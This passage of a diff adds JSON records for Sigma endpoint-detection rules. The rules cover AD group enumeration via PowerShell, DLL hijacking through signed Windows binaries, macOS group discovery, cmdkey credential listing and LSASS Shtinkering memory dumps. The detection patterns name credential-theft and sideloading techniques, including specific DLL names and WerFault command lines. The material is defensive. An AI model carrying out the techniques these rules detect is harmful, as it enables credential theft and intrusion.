+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083577Z",
+  "creation_date": "2026-03-23T11:45:34.083580Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083584Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://ericazelic.medium.com/ldap-queries-for-offensive-and-defensive-operations-4b035b816814",
+    "https://blog.talosintelligence.com/emerging-interlock-ransomware/",
+    "https://attack.mitre.org/techniques/T1069/002/"
+  ],
+  "name": "t1069_002_domain_group_discovered_powershell.yml",
+  "content": "title: Domain Group Discovered via PowerShell\nid: 12345a32-eabd-4124-ad05-d724d29e4fd1\ndescription: |\n    Detects the use of PowerShell to enumerate Active Directory groups.\n    This may indicate reconnaissance activity aimed at identifying privileged, sensitive, or role-based groups.\n    It is recommended to analyze the parent process as well as other commands executed in the same PowerShell session to look for malicious content or actions.\nreferences:\n    - https://ericazelic.medium.com/ldap-queries-for-offensive-and-defensive-operations-4b035b816814\n    - https://blog.talosintelligence.com/emerging-interlock-ransomware/\n    - https://attack.mitre.org/techniques/T1069/002/\ndate: 2025/07/09\nmodified: 2025/08/06\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1069.002\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - '[adsisearcher]'\n            - 'objectCategory=group'\n            - '.PropertiesToLoad.Add('\n            - '.findAll()'\n\n    filter_script:\n        PowershellScriptPath|contains: '?'\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "12345a32-eabd-4124-ad05-d724d29e4fd1",
+  "rule_name": "Domain Group Discovered via PowerShell",
+  "rule_description": "Detects the use of PowerShell to enumerate Active Directory groups.\nThis may indicate reconnaissance activity aimed at identifying privileged, sensitive, or role-based groups.\nIt is recommended to analyze the parent process as well as other commands executed in the same PowerShell session to look for malicious content or actions.\n",
+  "rule_creation_date": "2025-07-09",
+  "rule_modified_date": "2025-08-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1069.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "12abc941-fc36-4c0f-97cf-0f380e889982",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.099100Z",
+  "creation_date": "2026-03-23T11:45:34.099102Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.099106Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_setup.yml",
+  "content": "title: DLL Hijacking via Setup.exe\nid: 12abc941-fc36-4c0f-97cf-0f380e889982\ndescription: |\n    Detects potential Windows DLL Hijacking via Visual Studio Setup.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/12/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Setup.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\dlmgr.dll'\n    filter_legitimate_image:\n        - Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Visual Studio*\\'\n            - '?:\\Program Files\\Microsoft Visual Studio*\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n        - ProcessParentImage|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Visual Studio*\\'\n            - '?:\\Program Files\\Microsoft Visual Studio*\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Visual Studio*\\'\n            - '?:\\Program Files\\Microsoft Visual Studio*\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "12abc941-fc36-4c0f-97cf-0f380e889982",
+  "rule_name": "DLL Hijacking via Setup.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Visual Studio Setup.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-12-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "12d65b1e-e1ac-4617-86a9-eda02d5297ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094687Z",
+  "creation_date": "2026-03-23T11:45:34.094689Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094693Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1069/001/",
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1033_groups_macos.yml",
+  "content": "title: Groups Listed via Groups\nid: 12d65b1e-e1ac-4617-86a9-eda02d5297ad\ndescription: |\n    Detects the execution of the groups command.\n    Attackers may use it during the discovery phase of an attack to enumerate the groups which a user belongs to.\n    It is recommended to check for other suspicious activities by the parent process and to correlate this alert with any other discovery activity to determine legitimacy.\n    If this activity is recurrent in your environment and legitimate, it is highly recommended to whitelist it.\nreferences:\n    - https://attack.mitre.org/techniques/T1069/001/\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2022/11/14\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1069.001\n    - attack.t1033\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/groups'\n\n    exclusion_jamf:\n        - ProcessAncestors|contains: '/usr/local/jamf/bin/jamf'\n        - ProcessParentCommandLine|contains: '/Library/Application Support/JAMF/tmp/'\n\n    exclusion_common_folder:\n        - ProcessGrandparentImage|startswith:\n            - '/Applications/*/Contents/Resources/'\n            - '/Applications/*/Contents/MacOS/'\n            - '/Library/Application Support/'\n            - '/opt/homebrew/'\n            - '/Library/PrivilegedHelperTools/'\n        - ProcessParentImage|startswith:\n            - '/Applications/*/Contents/Resources/'\n            - '/Applications/*/Contents/MacOS/'\n            - '/Library/Application Support/'\n            - '/opt/homebrew/'\n            - '/Library/PrivilegedHelperTools/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "12d65b1e-e1ac-4617-86a9-eda02d5297ad",
+  "rule_name": "Groups Listed via Groups",
+  "rule_description": "Detects the execution of the groups command.\nAttackers may use it during the discovery phase of an attack to enumerate the groups which a user belongs to.\nIt is recommended to check for other suspicious activities by the parent process and to correlate this alert with any other discovery activity to determine legitimacy.\nIf this activity is recurrent in your environment and legitimate, it is highly recommended to whitelist it.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1069.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "12fbe22c-6804-46a4-9668-d8c5dca77830",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605747Z",
+  "creation_date": "2026-03-23T11:45:34.605750Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605757Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/",
+    "https://lolbas-project.github.io/lolbas/Binaries/Cmdkey/",
+    "https://attack.mitre.org/techniques/T1087/",
+    "https://attack.mitre.org/techniques/T1078/",
+    "https://attack.mitre.org/techniques/T1552/"
+  ],
+  "name": "t1087_account_credentials_cmdkey.yml",
+  "content": "title: Account Credentials Discovered via cmdkey.exe\nid: 12fbe22c-6804-46a4-9668-d8c5dca77830\ndescription: |\n    Detects the execution of cmdkey.\n    Attackers can use cmdkey to list system cached credentials, which can potentially be used for privilege escalation.\n    Cmdkey can also be used to add or delete credentials to/from the cache.\n    It is recommended to investigate the parent process for other suspicious actions.\nreferences:\n    - https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/\n    - https://lolbas-project.github.io/lolbas/Binaries/Cmdkey/\n    - https://attack.mitre.org/techniques/T1087/\n    - https://attack.mitre.org/techniques/T1078/\n    - https://attack.mitre.org/techniques/T1552/\ndate: 2022/12/02\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1552\n    - attack.discovery\n    - attack.t1087\n    - attack.initial_access\n    - attack.t1078\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Cmdkey\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\cmdkey.exe'\n        - OriginalFileName: 'cmdkey.exe'\n\n    selection_cmdline:\n        CommandLine|contains:\n            - '/list'\n            - '-list'\n\n    exclusion_fiducial:\n        ParentImage|endswith: '\\fermage.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "12fbe22c-6804-46a4-9668-d8c5dca77830",
+  "rule_name": "Account Credentials Discovered via cmdkey.exe",
+  "rule_description": "Detects the execution of cmdkey.\nAttackers can use cmdkey to list system cached credentials, which can potentially be used for privilege escalation.\nCmdkey can also be used to add or delete credentials to/from the cache.\nIt is recommended to investigate the parent process for other suspicious actions.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.initial_access",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078",
+    "attack.t1087",
+    "attack.t1552"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "13135882-44de-4952-9602-946619060e2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591331Z",
+  "creation_date": "2026-03-23T11:45:34.591334Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591341Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_eduprintprov.yml",
+  "content": "title: DLL Hijacking via eduprintprov.exe\nid: 13135882-44de-4952-9602-946619060e2e\ndescription: |\n    Detects potential Windows DLL Hijacking via eduprintprov.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'eduprintprov.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\deviceassociation.dll'\n            - '\\policymanager.dll'\n            - '\\SspiCli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "13135882-44de-4952-9602-946619060e2e",
+  "rule_name": "DLL Hijacking via eduprintprov.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via eduprintprov.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1326ca37-dc76-44d4-8db5-d101df291be4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089206Z",
+  "creation_date": "2026-03-23T11:45:34.089208Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089212Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mcbuilder.yml",
+  "content": "title: DLL Hijacking via mcbuilder.exe\nid: 1326ca37-dc76-44d4-8db5-d101df291be4\ndescription: |\n    Detects potential Windows DLL Hijacking via mcbuilder.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mcbuilder.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcp47mrm.dll'\n            - '\\mrmcoreR.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1326ca37-dc76-44d4-8db5-d101df291be4",
+  "rule_name": "DLL Hijacking via mcbuilder.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mcbuilder.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "13384352-88eb-420b-a83a-24445d5a52c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095469Z",
+  "creation_date": "2026-03-23T11:45:34.095471Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095475Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_shtinkering.yml",
+  "content": "title: Possible LSASS Shtinkering Detected\nid: 13384352-88eb-420b-a83a-24445d5a52c4\ndescription: |\n    Detects LSASS Shtinkering, a technique that consists in sending an Exception Report to the WerFault process, that will in turn dump the process' memory if the environment is correctly set up.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to investigate and find the process responsible for the LSASS Shtinkering as well as to conduct memory forensics to determine the extracted credentials.\nreferences:\n    - https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2023/04/03\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        TargetImage|endswith: '\\lsass.exe'\n        GrantedAccessStr|contains: \"PROCESS_VM_READ\"\n        CallTrace|contains:\n            - 'dbgcore.dll'\n            - 'dbghelp.dll'\n            - 'comsvcs.dll'\n        SourceImage: '*\\WerFault.exe'\n        ProcessCommandLine|contains: ' -u -p * -ip * -s *'\n\n    exclusion_werfault:\n        SourceImage: '*\\WerFault.exe'\n        GrantedAccess:\n            - '0x1fffff'\n            - '0x12f4d0'\n        CallTrace|contains|all:\n            - '?:\\Windows\\System32\\Faultrep.dll'\n            - '?:\\Windows\\System32\\WerFault.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessCommandLine|contains: ' -u -p '\n        ProcessParentImage: '?:\\Windows\\System32\\lsass.exe'\n        ProcessGrandparentImage: '?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_wermgr:\n        SourceImage: '*\\wermgr.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessParentImage: '?:\\Windows\\System32\\WerFault.exe'\n\n    exclusion_werfaultsecure:\n        SourceImage: '*\\WerFaultSecure.exe'\n        CallTrace|contains|all:\n            - '?:\\Windows\\System32\\WerFaultSecure.exe'\n            - '?:\\Windows\\System32\\Faultrep.dll'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ProcessCommandLine|contains: ' -u -p '\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "13384352-88eb-420b-a83a-24445d5a52c4",
+  "rule_name": "Possible LSASS Shtinkering Detected",
+  "rule_description": "Detects LSASS Shtinkering, a technique that consists in sending an Exception Report to the WerFault process, that will in turn dump the process' memory if the environment is correctly set up.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to investigate and find the process responsible for the LSASS Shtinkering as well as to conduct memory forensics to determine the extracted credentials.\n",
+  "rule_creation_date": "2023-04-03",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "13754f19-10c9-40db-935a-4043b68e2ffd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
